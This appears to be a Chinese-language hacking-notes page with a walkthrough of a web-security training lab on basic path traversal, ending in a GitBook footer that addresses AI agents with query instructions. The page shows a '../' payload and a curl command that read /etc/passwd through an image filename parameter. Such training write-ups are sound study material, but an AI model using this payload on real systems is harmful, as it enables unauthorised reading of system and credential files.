# 基础路径遍历
### 文件路径遍历，简单案例
本实验展示了在显示产品图片时存在的路径遍历漏洞。/ 要解决此问题，只需访问以下内容的内容： **/etc/passwd** 文件中的用户进行测试。
这些图片是通过一个加载的 **filename** 参数：
```bash
/image?filename=53.jpg
```
通过将此文件名替换为一串允许你返回目录树的序列，你可以定位系统文件：
```bash
/image?filename=../../../../../etc/passwd
```
示例： **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```
{% endcode %}
此有效载荷显示了 passwd 文件的内容，从而验证了该实验。

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/path-traversal/basic-path-traversal.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
